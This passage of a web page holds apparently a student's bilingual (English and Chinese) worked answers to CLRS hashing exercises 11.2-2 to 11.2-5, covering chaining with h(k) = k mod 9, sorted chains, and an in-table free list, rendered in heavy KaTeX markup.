class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">{</span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><blockquote><p>11.2-2<br />Demonstrate what happens when we insert the keys 5,28,19,15,20,33,12,17,10 into a hash table with collisions resolved by chaining. Let the table have 9 slots, and let the hash function be <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mn>9</mn></mrow><annotation encoding="application/x-tex">h(k) = k \bmod 9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span>.</p><p>请演示将键值 5, 28, 19, 15, 20, 33, 12, 17, 10 插入到一个通过链地址法解决冲突的哈希表中。假设哈希表有 9 个槽位 (Slots)，哈希函数为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mn>9</mn></mrow><annotation encoding="application/x-tex">h(k) = k \bmod 9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span>。</p></blockquote><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mn>9</mn></mrow><annotation encoding="application/x-tex">h(k) = k \bmod 9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span> 的结果是：</p><ul><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mn>5</mn><mo stretchy="false">)</mo><mo>=</mo><mn>5</mn></mrow><annotation encoding="application/x-tex">h(5) = 5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord">5</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span></p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mn>28</mn><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">h(28) = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord">28</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mn>19</mn><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">h(19) = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord">19</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mn>15</mn><mo stretchy="false">)</mo><mo>=</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">h(15) = 6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord">15</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span></p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mn>20</mn><mo stretchy="false">)</mo><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">h(20) = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord">20</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mn>33</mn><mo stretchy="false">)</mo><mo>=</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">h(33) = 6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord">33</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span></p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mn>12</mn><mo stretchy="false">)</mo><mo>=</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">h(12) = 3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord">12</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span></p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mn>17</mn><mo stretchy="false">)</mo><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">h(17) = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord">17</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mn>10</mn><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">h(10) = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord">10</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></p></li></ul><p>所以槽位上应该是:</p><ul><li><p>0: <code>null</code></p></li><li><p>1: <code>10</code> -&gt; <code>19</code> -&gt; <code>28</code></p></li><li><p>2: <code>20</code></p></li><li><p>3: <code>12</code></p></li><li><p>4: <code>null</code></p></li><li><p>5: <code>null</code></p></li><li><p>6: <code>33</code> -&gt; <code>15</code></p></li><li><p>7: <code>null</code></p></li><li><p>8: <code>17</code></p></li></ul><blockquote><p>11.2-3<br />Professor Marley hypothesizes that he can obtain substantial performance gains by modifying the chaining scheme to keep each list in sorted order. How does the pro fessor’s modification affect the running time for successful searches, unsuccessful searches, insertions, and deletions?</p><p>马利教授假设通过修改链地址法，将每个链表保持为<strong>有序状态</strong>，可以获得显著的性能提升。请问教授的这一修改对<strong>成功查找</strong>、<strong>不成功查找</strong>、<strong>插入</strong>和<strong>删除</strong>的运行时间有何影响？</p></blockquote><ul><li><p>成功搜索没有区别（链表不能二分），是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>α</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(1 + \alpha)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span></span></span></span></p></li><li><p>失败搜索更快（当已搜索值大于/小于可以直接判断失败），但应该依旧是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>α</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(1 + \alpha)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span></span></span></span></p></li><li><p>插入更慢，是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>α</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(1 + \alpha)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span></span></span></span>（需要找到插入点）</p></li><li><p>删除和之前相同</p></li></ul><blockquote><p>11.2-4<br />Suggest how to allocate and deallocate storage for elements within the hash table itself by linking all unused slots into a free list. Assume that one slot can store a flag and either one element plus a pointer or two pointers. All dictionary and free-list operations should run in <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> expected time. Does the free list need to be doubly linked, or does a singly linked free list suffice?</p><p>请说明如何通过将所有未使用的槽位链接成一个<strong>自由链表</strong>，从而在哈希表内部为元素分配和回收存储空间。假设一个槽位可以存储一个标志位（Flag），以及“一个元素加一个指针”或“两个指针”中的一种。所有字典操作和自由链表操作的期望运行时间均应为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。该自由链表需要使用<strong>双向链表</strong>吗，还是<strong>单向链表</strong>就足够了？</p></blockquote><blockquote><p>注意 <em>one slot can store a flag <strong>and</strong> <strong>either</strong> one element plus a pointer <strong>or</strong> two pointers</em> 指的是一个槽位可以存一个标志位和 <strong>“一个元素+一个指针”</strong> 或者 <strong>“两个指针”</strong></p></blockquote><p>既然需要自由链表操作为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>，那么绕不开 DELETE 需要双向链表，也就是作为自由槽位的时候，将 flag 设置为 0，必须有两个指针指向前驱和后驱节点。</p><p>但是当其存储元素，作为冲突链，不作为自由槽位的时候，需要有指向下一个元素的指针。插入时应该从自由链表弹出一个节点，头插到冲突链；删除时如果拿到的是元素（冲突链节点）的指针，没法获得前驱节点，只能作为单链表在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>α</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1 + \alpha)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span></span></span></span> 删除。</p><p>但注意 <em>allocate and deallocate storage for elements within the hash table itself</em> 和 <em><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> expected time</em></p><p>意思是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>≤</mo><mi>m</mi></mrow><annotation encoding="application/x-tex">n \le m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mfrac><mi>n</mi><mi>m</mi></mfrac><mo>≤</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\alpha = \frac{n}{m} \le 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，确实 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>α</mi><mo stretchy="false">)</mo><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1 + \alpha) = O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。</p><blockquote><p>这么细…？</p></blockquote><hr /><blockquote><p>11.2-5<br />Suppose that we are storing a set of <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> keys into a hash table of size <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" 